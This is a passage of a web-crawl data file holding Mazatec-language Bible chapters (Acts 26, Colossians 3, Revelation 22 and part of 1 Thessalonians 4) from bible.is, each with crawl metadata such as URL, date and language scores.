tjindi‑la̱ ñánda̱ nga tífia ko̱ kóho'ki ñánda̱ nga i̱jncha xi̱ta̱ ra tje̱n‑ko̱‑na. 14Nga'tsì‑naji̱n ngi iskatsajo'tá‑náji̱n ya̱ nangi, ko̱ a̱kjòn kí'nchrè jngo 'én ya̱ a̱jin i̱sén ra 'én hebreo kiìchja̱‑na nga kitsò: \"Saulo, Saulo, ¿mé‑ni 'a̱n mihìtji̱ngi‑ná nga kondra̱ 'mì‑ná? Ti̱ji̱í tjifatsji‑la̱ kjo̱hi'in ijo‑li, koni 'sín 'sín nchra̱ja̱ 'kia̱ nga tsjòn‑la̱ yákjo̱n ra bíchjà‑ila̱ ni‑la̱.\" 15'A̱n, kíxiín‑la̱: \"¿Yá‑ni ngaji̱ Na̱'ìn?\" 'Kia̱á kitsò‑na: \"'A̱n‑ná ra 'mì‑na Jesús ra kondra̱ tji'mi‑la̱ ji̱ nga mihìtji̱ngi‑la̱. 16Ti̱sítji̱in; ti̱si̱jna kixi̱í; kií xá kasìkatsíjen‑la ijo‑na̱ mé‑ni nga 'a̱n si̱xáko̱‑ná ko̱ ji̱í íki̱i 'én a̱'ta 'tse̱ kjoa̱ ra ijye kà'yi ko̱ ra 'sa̱ jcha̱ isi, jñà ra 'sa̱ kokon-isa‑la. 17'A̱án sikónda̱‑la nga mì mé si̱ìko̱‑li jñà xi̱ta̱ na̱xi̱ndá‑li ra xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío. Nga̱ ya̱á sikásén‑la 'ndi̱ ya̱ ñánda̱ nga tjíhijyo jñà xi̱ta̱ kìi̱, 18mé‑ni nga chjí'xa̱ngi xko̱n nga mì ti̱ ya̱ katimaya‑ni ya̱ ndi̱yá ra jñò chon; ndi̱yá iseén katimaya. Katitjokàjin ñánda̱ nga jè xi̱ta̱‑ni̱í itsabá'ñó, jè Nainá katafì'ta‑la̱. Katakjiín‑la̱ ra a̱'ta tsa̱'a̱n, mé‑ni nga ma sijchá'ta‑la̱ jé‑la̱ ti̱'koa̱á tjábé‑te‑la̱ kjo̱tjò ra tjábé‑la̱ xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra xá tsjahíjin‑ni.\" 19'Ngaji̱ Agripa ra xi̱ta̱xá ítjòn tijni, 'a̱n mì kì tsa isítája jiàa̱n jè inìma̱‑na̱ 'kia̱ nga kíjtsee̱ jè kjoa̱ ra̱kìi̱ nga kí'nchrè ra ngajmi inchrabà‑ni. 20Ta isa̱á ya̱ kjón tsi'kènájmí ítjòn‑la̱ jñà xi̱ta̱ Damasco, a̱kjòn tsi'kènájmí‑la̱ xi̱ta̱ Jerusalén, ko̱ kóho'ki nangi Judea, ko̱ nga'tsì jñà ra mì tsa xi̱ta̱ judío. 'Koa̱á 'sín ítsi'kena̱jmí‑la̱ nga katasíkájno‑ni jé‑la̱, ko̱ kì ti̱ tsja jé bátsji‑ni; Nainá katafì'ta‑la̱; ko̱'sín kata'sín jè kjo̱nda ra 'ya‑la̱ nga ijye jahatjìya‑la̱ kjo̱bítsjen‑la̱. 21'Koa̱á ma‑ni nga kitsabá'ñó‑na jñà xi̱ta̱ judío ya̱ ndi̱tsin i̱ngo̱, nga mejèn‑la̱ nga si̱ì'ken‑na. 22Tanga jé Nainá tíbasìko̱‑ná; 'koa̱á ma‑ni nga takó ko̱'sín tí'siaa̱n skanda 'ndi̱ 'ndi̱; 'koa̱á 'sín tí'bènájmí ijye‑la̱ nga'tsì ra i̱xti ko̱ nga'tsì jñà ra xi̱ta̱ jchínga. Mì tsa kj'ií 'sín tíbakon‑yá‑la̱; kií 'én ra tí'bènájmí‑la̱ jè ra tsakón‑ya‑te jè Moisés ko̱ xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, jñà kjoa̱ ra tjínè‑la̱ ra ko̱ka̱ma ni̱chjin ra fì‑isa 23nga jè Cristo [xi̱ta̱ ra xá isìkasén‑ni Nainá], tjínè‑la̱ nga ko̱'sín 'ken, tanga 'kia̱ nga ijye 'ken, jè‑ní ra jaáya ítjòn‑la̱, mé‑ni nga ko̱ma 'ke̱èna̱jmíya‑ni kó'sín nga ko̱hisen‑jín ya̱ inìma̱‑la̱ nga'tsì xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío. 24Jè Festo, 'kia̱ nga kií'nchré 'én‑la̱ Pablo nga tíbasìko̱ ijo‑la̱, 'ñó kiìchja̱ kitsò: ―¡Ngaji̱ Pablo, ijyeé‑la tímaská‑li; jé‑la xa̱jo̱n ra ta̱ nda chitá'yí tísíská‑li! 25Tanga jè Pablo kitsó‑la̱: ―Ngaji̱ Nàmi̱ Festo ra xi̱ta̱xá tijni, mì tsa ská‑na; 'koa̱á 'sín tjín; 'én kixi̱í ra tíchjàa̱. 26Jè Agripa ra xi̱ta̱xá ítjòn tíjna, tjíjin ijyeé‑la̱ jñà kjoa̱ kìi̱; 'koa̱á ma‑ni nga ma'ñótakoàa̱n nga ko̱'sín tíchjàa̱ ya̱ ngixko̱n ra jè; 'a̱n, 'koa̱á 'sín makjiín kixi̱‑na nga ra jè, ti̱'koa̱á 'ñó nda tjíjin‑la̱ jñà kjoa̱ kìi̱; nga mì tsa tjí'ma‑jìn koni 'sín kjomà. 27Ngaji̱ Agripa ra xi̱ta̱xá ítjòn tijni, ¿a makjiín‑li koni 'sín kitsò jñà xi̱ta̱ ra Nainá kisìchjeén nga kiìchja̱ ngajo‑la̱? 'Koa̱á ma‑na nga makjiín‑li. 28Jè Agripa kitsó‑la̱ Pablo: ―¿A 'koa̱á ma‑li nga tà ndi̱to̱ón ko̱kjiín‑na nga xi̱ta̱‑la̱ Cristo ko̱maa̱? 29Jè Pablo kitsó‑ní: ―A ndi̱to̱ón ko̱kjiín‑li o̱ ra mí tsa ndi̱to̱n ko̱kjiín‑li, 'a̱n, 'koa̱á 'sín síjé‑la̱ Nainá nga mì tsa tà ji̱ katakjiín‑li ra xi̱ta̱xá ítjòn 'mì‑li, ti̱'koa̱á katakjiín‑te‑la̱ nga'tsì xi̱ta̱ ra i̱nchi'nchré‑na nga ko̱'sín katama koni 'a̱n, tanga kì chjàn na'ñó ki̱cha̱ si'ta. 30'Kia̱á tsasítje̱n Agripa ko̱ Festo ko̱ Berenice, ko̱ nga'tsì xi̱ta̱ ra ya̱ títsa̱jna. 31Xìn'tá kijì nga tsajo̱óya‑ni kjoa̱ kìi̱. Kitsò‑la̱ xákjién: ―Jè xi̱ta̱ ra̱kìi̱, ni̱mé kjoa̱ tjín‑la̱ ra bakèn‑la̱ nga ki̱yá, skanda ti̱'koa̱á mì kì bakèn‑la̱ nga nda̱yá kíjna'ya. 32Agripa kitsó‑la̱ jè Festo: ―Jè xi̱ta̱ ra̱kìi̱, nda ko̱maá‑la kíjnandi̱í‑ni tsa mì‑la ko̱'sín isíjé nga jè xi̱ta̱xá ítjòn‑la̱ Roma kátíndajín saba‑la̱.\nHechos 26","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/26","date":"2013-12-06T14:31:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051984\/warc\/CC-MAIN-20131204131731-00053-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":950,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà kjoa̱ ti̱nchátsjioò kjo̱ndaà xi tjín ngajmiì ya̱ ñánda tíjna Cristo nga ya̱ tíjnat'aà chrja kixi̱‑la̱ Nainá, koií kjoa̱‑la̱ nga ya̱ jaáyakjoò‑nò ko̱ Cristo, 2Koií ti̱kítsjeèn kjit'aà mé kjoa̱ xi tjín ngajmiì, kì koií nìkítsjeèn kjoa̱ xi tjín i̱sò'nde. 3Nga̱ jñò, jyeé k'en kjoa̱ ts'e̱ i̱sò'nde, ko̱ jè kjoa̱binachon xi̱tse̱ xi tjín‑nò nga ya̱ titsa̱jnako̱o Cristo, ya̱á tíjnatjò nga nguixko̱n Nainá. 4Jè Cristo, jè‑né xi kjoa̱binachon‑nò; k'e̱ nga jè xi ko̱tsejèn ìjngoò k'a, jñò, ti̱koa̱á ya̱á ko̱tsejèn‑ko̱o nga jeya ki̱tsa̱jnaà. 5Ti̱kítsa̱jna kjoa̱ ch'o xi síjé yijo jé‑nò xi kjoa̱ ts'e̱ i̱sò'nde: koni jñà kjoa̱ chijngui, ko̱ kjoa̱ tjé ko̱ kjoa̱ ch'o xi sasén‑la̱ yijo‑nò ko̱ ngats'iì kjoa̱ ch'o xi fahajiìn‑nò, ko̱ nga kjìn tsojmì mejèn‑nò. Kjoa̱ jè ti̱jé‑ne koni tsà xkósòn yaxkón. 6Koií kjoa̱‑la̱ nga kjo̱'in tsjá‑la̱ Nainá jñà xi̱ta̱ xi mìkiì 'nchréñijon‑la̱. 7Jñò, ti̱koa̱á k'oa̱á tjín kjoa̱ xi ki'nè kjòtseé k'e̱ nga ya̱ titsa̱jnajñoò kjoa̱ xi ch'o tjín. 8Ta̱nga i̱'ndei̱ ti̱kítsa̱jna yije kjoa̱ koi: jñà xi kjoa̱ jti, ko̱ jñà xi kjoa̱ ts'e̱n, ko̱ jñà kjoa̱ xi ch'o tjín, ko̱ jñà kjoa̱ xi nokjoàjno‑la xi̱ta̱, ko̱ jñà 'én xi ch'o tsò nga nokjoà. 9Kì 'én ndiso nokjoàko̱o xinguio̱o nga jyeé kichjaàxìn‑là yijo‑nò kjoa̱ jchínga‑nò ko̱ ngats'iì kjoa̱ xi ki'nè nga sa̱ kjòtseé. 10Jyeé kichjoé xi kjoa̱ xi̱tse̱. Jyeé jahatjìya‑la̱ kjo̱hítsjeèn‑nò. K'oa̱á s'ín tímaxi̱tse̱ya koni kji i̱sén‑la̱ Nainá xi tsibíndaà‑nò skanda kóni nga ìsa̱ ndaà jcha̱xkoòn yá‑ne xi Nainá. 11I̱'ndei̱, mì ti̱ kiì 'ñó mochjeén‑ne yá‑né xi xi̱ta̱ griego, o yá‑né xi xi̱ta̱ judío, yá‑né xi tjít'aà chi̱ba̱‑la̱, o yá‑né xi kjoa̱ ts'e̱ circuncisión, yá‑né xi xi̱ta̱ xìn nangui‑la̱ ko̱ yá xi̱ta̱‑ne xi i̱ma̱ tímajchá, yá‑né xi chi̱'nda tíjna'ñó, o yá‑né xi tíjnandei̱í. Jè Cristo xi ìsa̱ 'ñó chjí‑la̱; ko̱ jè xi tíjnajiìn ini̱ma̱‑la̱ ngats'iì xi̱ta̱‑la̱. 12Jñò xi xó k'oa̱s'ín jaàjiìn‑nò Nainá ko̱ xi nguì xi̱ta̱ tsjeè‑la̱ maà nga ndaà matsjakeè‑nò, k'oa̱á s'ín chjoé xi kjoa̱ xi̱tse̱ nga kàtahi̱ma̱cha xi̱ta̱; kàtas'e‑nò kjo̱ndaà; kì 'nga matakòn; indaàkjoa̱ t'e̱en; ko̱ kàtas'e‑la̱ kjoa̱tsejta ini̱ma̱‑nò. 13Ni̱ta̱ mé kjoa̱ xi tjín‑nò ti̱kjeiín‑là xinguio̱o, ti̱jchàat'aà‑là xinguio̱o tsà mé kjoa̱ xi ch'o síko̱‑nò. Jñò, k'oa̱á ti̱s'ín t'e̱en, koni s'ín kisìko̱‑nò Cristo nga kisìjchàat'aà‑nò. 14Jè xi tíjna ítjòn ts'e̱ kjoa̱ koi, jè‑né nga ti̱tsjacha xinguio̱o, nga jè kjoa̱tjòcha xi ndaà síkítsa̱jnajtín‑ná. 15Kjoa̱'nchán‑la̱ Cristo ndaà kàtatíxoma i̱jiìn ini̱ma̱‑nò; nga̱ Nainá xó k'oa̱á s'ín kiìchja̱‑nò nga 'nchán ki̱tsa̱jnako̱o xinguio̱o mé‑ne nga ta jngoò yijo ko̱ma‑nò. Ko̱ mochjeén‑né nga kjit'aà na̱chrjein tjiì‑là kjo̱ndaà Nainá. 16Jè 'én‑la̱ Cristo 'ñó ndaà kàtasijiìn kjit'aà ya̱ i̱jiìn ini̱ma̱‑nò. Ta̱kóya‑là xinguio̱o ko̱ ti̱kixi̱yaà nga ti̱kjeén kjo̱hítsjeèn xi tjín‑la̱ kjoa̱chji̱ne̱. Ti̱jndá‑là Nainá nga tjiì‑là kjo̱ndaà xi tíjiìn ini̱ma̱‑nò; ti̱jndá‑là sò ts'e̱ salmo, ko̱ sò xi jeya síkíjna Nainá, ko̱ sò xi ya̱ nchrobá‑ne ya̱ i̱jiìn ini̱ma̱‑nò. 17Ngats'iì 'én xi nokjoà ko̱ ngats'iì xá xi 'nè, i̱t'aà ts'e̱ Jesucristo xi otíxoma‑ná koa̱t'e̱en. Ko̱ i̱t'aà ts'e̱ Jesucristo tjiì‑là kjo̱ndaà Nainá xi Na̱'èn‑ná. 18Jñò íchjín xi x'i̱n tjín‑nò, nangui titsa̱jna‑là x'i̱n‑nò koni s'ín ok'ìn‑la̱ jñà xi̱ta̱‑la̱ Cristo. 19Jñò xi íchjín tjín‑nò, tjòcha jcha̱a íchjín‑nò, kì toòn 'yaà. 20Jñò xi i̱xti 'mì‑nò, ndaà ti̱ná'yañijon‑là xi̱ta̱ jchínga‑nò, nga jè Nainá ndaà sasén‑la̱ kjoa̱ koi. 21Jñò xi Na̱'èn 'mì‑nò, kì ta̱xki̱ siì nokjoàko̱o i̱xti‑nò mé‑ne nga mì sìkàjeèn‑la̱ ikon. 22Jñò xi chi̱'nda maà, ndaà ti̱kitasòn yije‑là nei‑nò i̱ i̱t'aà nangui; kì tà k'e̱é nìxá k'e̱ nga tíkotsejèn‑nò nga ta jè xi mejèn‑nò nga ndaà ki̱tsa̱jnako̱o. Nguì ko̱ó ini̱ma̱‑nò nga ti̱kitasòn‑là koií kjoa̱‑la̱ nga yaxkón Nainá. 23Ni̱ta̱ mé kjoa̱ xi s'e̱en, nguì ko̱ó ini̱ma̱‑nò nga t'e̱en koni tsà i̱t'aà ts'e̱ Na̱'èn‑ná titsa̱nìkitasòn ko̱ mìtsà i̱t'aà ts'e̱ xi ta̱xki̱ xi̱ta̱. 24Jyeé 'yaà nga jè Na̱'èn‑ná Jesucristo tsjá‑nò chjí‑nò nga tjoé‑nò jè kjo̱tjò xi tsjá‑nò Nainá nga i̱xti‑la̱ maà koi kjoa̱‑la̱ nga jè titsa̱nìxát'aà‑là Jesucristo xi otíxoma‑nò. 25Ta̱nga jè xi ch'o tjín kjoa̱ xi s'ín, k'oa̱á s'ín ko̱chjí‑la̱ koni tjín kjoa̱ ch'o xi s'ín. Nainá mìtsà faájiìn xi̱ta̱, ngásòn ngáya fìko̱ ngats'iì.\nColosenses 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Col\/3","date":"2013-12-05T05:23:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163040022\/warc\/CC-MAIN-20131204131720-00066-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":627,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra kjomà a̱skan‑nioo̱ jé ìkja̱li̱ tsakón jngo‑na xa̱ngá ñánda̱ nga tí'fa nandá ra kjijna tsjé tsje, jè nandá ra tsjá kjo̱binachon, ra ngi fate‑ní koni tsa jngo chi̱tsín. Ya̱á tíbitjo‑ni ya̱ ñánda̱ nga tíjna Nainá nga tíjnasòn íxile̱ nga tíbatéxoma ko̱ ya̱ ñánda̱ nga tíjna‑te jè Forrè. 2Jè xa̱ngá nandá, ya̱á 'fa ya̱ nga masen‑la̱ jè ndi̱yá té‑la̱ na̱xi̱ndá. Ya̱ nga ngajò 'ka̱ a̱ndi‑la̱ xa̱ngá nandá, síjna jè yá ra tsjá kjo̱binachon; jè yá, tejò 'ka̱ majchá to‑la̱ nga inó; jngo 'ká majchá nga jngó jngó sá; jñà xka̱‑la̱ yá, jñà maxki‑ila̱ jñà xi̱ta̱ na̱xi̱ndá ra tjín ya̱ i̱sà'nde. 3Mì kì ti̱ mé kjoa̱ 'se̱‑ni ra mì kì sasén‑la̱ Nainá. Nga̱ ya̱á kijna jè Nainá ko̱ jè Forrè nga ko̱tèxoma; ko̱ jñà ra chi̱'nda‑la̱ ma, ya̱á si̱íxá'ta‑la̱. 4Ngi sko̱ó'an tsijen Nainá; ko̱ jè 'í‑la̱ Nainá, ya̱á si̱'ta ya̱ tótjen‑la̱. 5Ya̱ i̱jndáa̱, mì kì ti̱ ni̱tje̱n 'se̱‑ni; ko̱ mì tsa ni'í isen ko̱chjeén‑ila̱, ko̱ mì tsa ti̱ ni'í‑la̱ tsá'bí ko̱chjeén‑ila̱; nga̱ jè sabà Nainá ra Na̱'ín‑ná si̱hisen‑la̱. Ko̱ jñá ko̱tèxoma skanda ta kjiá‑nioo̱ ko̱ skanda ta mé ni̱chjin‑nioo̱. 6Jè ìkja̱li̱ kitsò‑na: ―Jñà 'én kìi̱, ngi 'én kixi̱‑ní ko̱ ngi kixi̱í tjín. Jè Na̱'ín‑ná ra Nainá jè ra síchi̱ya‑la̱ jñà xi̱ta̱ ra chja̱ ngajo‑la̱, jè kàsíkasén jè ìkja̱li̱‑la̱ mé‑ni nga ko̱kòn‑la̱ jñà xi̱ta̱ chi̱'nda‑la̱ jñà kjoa̱ ra ta ndi̱to̱n kjón‑ní ko̱ka̱ma. 7―¡Nda chítsijen, 'a̱n ijyeé kjí'i̱ ndi̱to̱n‑ná! ¡Mé ta̱ nda‑la̱ jñà ra nda síhitjasòn jñà 'én ra kitsjà Nainá ra tjí'ta jè xa̱jo̱n ra̱kìi̱! 8'A̱n ra 'mì‑na Juan, 'a̱án‑ná ra kí'nchree̱ ko̱ ra kíjtsee̱ jñà kjoa̱ kìi̱. 'Kia̱ nga ijye kí'nchree̱ ko̱ nga kíjtsee̱, tsáse̱n-xkó'nchi-niña‑náa̱ ya̱ a̱ngi ndsa̱ko̱ jè ìkja̱li̱ ra tíbakón‑na jñà kjoa̱ kìi̱, nga kíjtsexkóon. 9Tanga jè ìkja̱li̱ kitsò‑na: ―Majìn kì tà chjàn ko̱'sín 'nì. Nga̱ 'a̱n, ti̱'koa̱á ti̱ chi̱'ndaá‑te ma koni ngaji̱, ko̱ koni jñà 'ndsìi̱ jñà ra síchjeén Nainá nga chja̱ ngajo‑la̱, ko̱ jñà ra síhitjasòn jñà 'én ra tjí'ta jè xa̱jo̱n ra̱kìi̱. Jé Nainá, ra jcha̱xkíin. 10Ko̱ kitsò-isa‑na: ―Kì tà chjàn bi'ma‑jìn jñà 'én ra kitsjà Nainá ra tjí'ta jè xa̱jo̱n ra̱kìi̱, nga̱ ijyeé kjochraña ni̱chjin nga ki̱tjasòn koni 'sín tíchja̱. 11Jñà ra mì tsa xi̱ta̱ kixi̱ ya̱ ngixko̱n Nainá, takó ko̱'sín katitsa̱jna; ko̱ jñà xi̱ta̱ ra 'cho 'sín, takó ko̱'sín 'cho kata'sín‑te; tanga jñà ra xi̱ta̱ kixi̱ ya̱ ngixko̱n Nainá, ko̱'sín kixi̱ katitsa̱jna; ko̱ jñà ra xi̱ta̱ tsje, ko̱'sín tsje katitsa̱jna‑isa. 12―Nda chítsijen, 'a̱n, ijyeé kjí'i̱ ndi̱to̱n‑ná nga 'ya jè kjo̱tjò ra tsja‑la̱ nga jngó jngó xi̱ta̱ koni 'sín tjín kjoa̱ ra ki'sìn nga jngó jngó. 13'A̱án‑ná ra tíjna̱ ítjòn‑na skanda kjo'tsia̱ ko̱ 'a̱án‑ná ra tíjna̱ skanda 'kia̱ nga kje̱he'tà ni̱chjin; 'a̱n‑ná ra tsiki'tsiá‑na ko̱ 'a̱n‑ná ra sikjéhe'ta‑na. 'A̱án tíjna̱ ítjòn ko̱ 'a̱án fehe'ta‑na. 14Mé ta̱ nda‑la̱ jñà xi̱ta̱ ra [jè jní‑la̱ Forrè] sítsje‑ni nikje‑la̱ mé‑ni nga ki̱'nde‑la̱ nga ma ski̱ne̱ to‑la̱ jè yá ra tsjá kjo̱binachon, ko̱ mé‑ni nga tjó'nde‑la̱ nga ya̱ xo̱tjo̱ba̱‑la̱ na̱xi̱ndá ma kjoa̱ha'sen‑ni. 15Tanga ndi̱tsiaán kítsa̱jna jñà ra xi̱ta̱ nañá, ko̱ jñà xi̱ta̱ ra 'sín kjoa̱tj'ee̱, ko̱ jñà ra kjoa̱ chijngi 'sín, ko̱ jñà ra sí'ken xi̱ta̱, ko̱ jñà ra kj'ií nainá bexkón ko̱ nga'tsì jñà ra tsjake kjoa̱ndiso ko̱ ra 'én ndiso chja̱. 16―'A̱n ra 'mì‑na Jesús, 'a̱án‑ná ra ísikásén‑no jè ìkja̱li̱‑na̱ mé‑ni nga tsjá‑no 'én a̱'ta 'tse̱ kjoa̱ kìi̱, jiòn ra xi̱ta̱ na̱xi̱ndá‑na̱ ma. 'A̱n‑ná jè jts'én ra itjo'ta‑ni tje̱‑la̱ David; 'a̱n‑ná jè nitse‑xó ra 'ñó fate 'ki ra tjo 'kia̱ nga ta̱jñòya. 17Jè Inìma̱ Tsje‑la̱ Nainá ko̱ jè chjo̱ón ra tíjnanda nga ki̱xan, tsó‑ní: ―Nchrabí [Na̱'ìn Jesús]. Ko̱ jiòn ra i̱nchina'yá, ko̱tixó‑te: ―Nchrabí [Na̱'ìn Jesús]. Jiòn ra xándá‑no ko̱ ra mejèn‑no, nchrabá, 'tio̱ kjo̱tjò jè nandá ra tsjá kjo̱binachon. 18'A̱n, 'koa̱á 'sín tíxian‑no nga'tsì‑no ra na'yá jñà 'én ra kitsjà Nainá ra tjí'ta xa̱jo̱n ra̱kìi̱: Tsa yá ra ki̱ìsòn‑isa‑la̱ koni 'sín nga ijye tjí'ta, jè Nainá ki̱ìsòn‑isa‑la̱ jñà kjo̱hi'in ra tjí'ta xa̱jo̱n ra̱kìi̱. 19Ko̱ tsa yá ra kjo̱híxìn i'ka‑la̱ jñà 'én ra kitsjà Nainá ra tjí'ta jè xa̱jo̱n ra̱kìi̱, jé Nainá kjo̱híxìn‑la̱ jè kjo̱nda ra ko̱ko̱‑la̱ a̱'ta 'tse̱ yá ra tsjá kjo̱binachon ko̱ a̱'ta 'tse̱ na̱xi̱ndá tsje‑la̱ Nainá ra tjí'ta xa̱jo̱n ra̱kìi̱. 20Jè ra títsjá kixi̱ 'én‑la̱ a̱'ta 'tse̱ kjoa̱ kìi̱, tsó‑ní: ―Ngi kixi̱í kjoa̱, ijyeé kjí'i̱ ndi̱to̱ón‑ná ra 'a̱n. Jon, ko̱'sín katama. ¡Nchrabí ji̱ Na̱'ìn Jesús! 21Jè kjo̱nda‑la̱ Na̱'ín‑ná Jesucristo katijnako̱‑no nga'tsì‑no. Ko̱'sín katama.\nApocalipsis 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/22","date":"2013-12-09T19:09:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163995757\/warc\/CC-MAIN-20131204133315-00029-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":697,"character_repetition_ratio":0.071,"word_repetition_ratio":0.004,"special_characters_ratio":0.245,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ndí 'ndsé ko̱ ndí tichjeé, 'koa̱á 'sín tsakòya‑laji̱n nga ko̱'sín si̱jchá ijo‑no koni 'sín nga jè Nainá sasén‑la̱. Ko̱ kixi̱í kjoa̱, ijyeé ko̱'sín i̱nchi'nià jiòn. Tanga 'ndi̱‑ni̱ 'koa̱á 'sín bitsa'ba‑laji̱n ko̱ níjé‑laji̱n a̱'ta 'tse̱ Jesús ra tíjna ítjòn‑ná, nga ko̱'sín 'ti̱ nga'ñó-isa‑la̱ ijo‑no, nga ni̱chjin nchijòn isa̱ nda ki̱tsa̱jna. 2Ijyeé 'ya‑nájiòn kó'sín tjín kjo̱hixi̱ ra tsi'kèna̱jmí‑laji̱n ra ya̱ inchrabà‑ni a̱'ta 'tse̱ Jesús ra tíjna ítjòn‑ná. 3Jè ra mejèn‑la̱ Nainá, jé‑ní nga ngi tsjeé ti̱jchá ijo‑no, nga kì kjoa̱chijngi 'nià. 4Nga jngó jngó‑najiòn katamaá‑no kó'sín nga si̱kinda̱a ijo‑no nga tsje ki̱tsa̱jna, ko̱ nga jcha̱xkón ijo‑no. 5Kì bi'nde jiòn nga jñà síkijne‑no jñà kjoa̱'cho ra síjé ijo‑no, koni 'sín 'sín jñà xi̱ta̱ i̱sà'nde ra mì kì be Nainá. 6Jiòn ra 'ndsè chibà a̱'ta 'tse̱ Cristo, kì jñà kjoa̱ kìi̱ kajion mé‑ni nga mì xàngio̱o jcha̱ton‑no nga kíndo̱cha̱‑la. Nga̱ jè Na̱'ín‑ná 'ñó tse kjo̱hi'in tsjá‑la̱ jñà xi̱ta̱ ra ko̱'sín 'si̱in, koni 'sín nga ijye ko̱'sín tsi'kìn‑laji̱n ko̱ tje̱n iníkjí'nchré‑laji̱n. 7Nga̱ jè Nainá mì tsa ki xá kiìchja̱‑ná nga ko̱tjín kjoa̱'cho ra ki̱tsa̱jieén, jé‑ní nga tsje ko̱híke̱é kjo̱binachon‑ná. 8'Koa̱á 'sín ma‑ni, jè ra ko̱chrjengi kjo̱bítsjen kìi̱, mì tsa xi̱ta̱‑jìn ra tíbachrjengi; jè sabá Nainá ra tíbachrjengi, nga̱ jé‑ní ra tsjá‑ná Inìma̱ Tsje‑la̱. 9Ra a̱'ta 'tse̱ nga kó'sín tsjacha 'sio̱on xàngio̱o, mì kì machjeén nga xa̱jo̱n ki'tá‑no. Nga̱ jè sabá Nainá ijye nda tsakón‑ya‑no kó'sín tsjacha 'sio̱on xàngio̱o nga jngó jngó‑no. 10Ijyeé ko̱'sín i̱nchi'nià jiòn, 'kia̱ nga tsjacha jiòn jñà nga'tsì 'ndsé ko̱ tichjeé ra títsa̱jna ya̱ nangi Macedonia; tanga 'koa̱á 'sín tíbitsá'ba‑no nga isa̱ 'ñó tsjacha‑isa 'tia̱àn xàngio̱o nga ni̱chjin nchijòn. 11Ko̱'sín 'ñó tinè‑la ijo‑no nga 'nchán ti̱tsa̱jna; kì kjoa̱‑la̱ xàngio̱o chaájion; ko̱'sín ti̱xá koni tjín xá ra ma‑no, koni 'sín nga ijye tsi'kìn‑laji̱n nga'tsì kjoa̱ kìi̱, 12mé‑ni nga nda ske̱xkón‑no jñà xi̱ta̱ ra mì kì makjiín‑la̱ 'én‑la̱ Nainá. Ko̱ nì mé ra katasíjchija'ta‑no ra jiòn. 13Jiòn ndí 'ndsé ko̱ ndí tichjeé, mején‑naji̱n nga nda katasijin‑najiòn mé ra ma'tin jñà ndí xi̱ta̱ ra ijye 'ken, mé‑ni nga mì ba kata'se‑najiòn koni 'sín nga ma'tin jñà xi̱ta̱ ra ni̱mé i̱nchikoñá‑la̱. 14Koni 'sín nga makjiín‑ná nga jè Jesús 'ken‑ní ko̱ nga jaáya‑ila̱, 'koa̱á ti̱'sín makjiín‑ná nga jè Nainá si̱ìkjaáya‑ila̱ jñà xi̱ta̱ ra ijye 'ken, ra kjokjiín‑la̱ a̱'ta 'tse̱ Jesús. 15Nga̱ 'koa̱á 'sín 'mì‑laji̱n koni 'sín ijye a̱sa kitsò Na̱'ín‑ná, nga jién ra titsa̱jnakon iseé i̱ a̱'ta nangi 'kia̱ nga kj'i̱í india‑ni ra jè, mì tsa tje̱n kongí ítjòn‑lá jñà ra ijye 'ken. 16Nga̱ jè sabá Na̱'ín‑ná kji̱nchrabàjen‑ni ya̱ ngajmi nga 'ñó ki̱ná'ya jta̱‑la̱ nga tsjá kjo̱hixi̱, ko̱ nga 'ñó ki̱chja̱ ìkja̱li̱ ítjòn, ko̱ nga 'ñó ski̱'ndá chrjoo̱; ko̱ a̱kjòn ki̱tjo i'nde ítjòn‑ni jñà xi̱ta̱‑la̱ Cristo ra ijye 'ken. 17A̱kjòn jién, ra titsa̱jnakon iseé, ya̱á ta̱ña tjámitje̱n‑ke̱é nga kjieén ya̱ a̱jin ifi, mé‑ni nga ya̱ ska̱jieén jè Na̱'ín‑ná ya̱ a̱jin i̱sén; ko̱ 'koa̱á 'sín ya̱ ki̱tsa̱jnake̱é jè Na̱'ín‑ná skanda ta mé ni̱chjin‑nioo̱. 18Kií machjeén‑ni nga ko̱'sín 'ñó ti̱jetakòn xàngio̱o nga jngó jngó‑no nga ti̱nákjoa̱‑la jñà 'én kìi̱.\n1 Tesalonicenses 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Thess\/4","date":"2013-12-06T06:40:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049635\/warc\/CC-MAIN-20131204131729-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 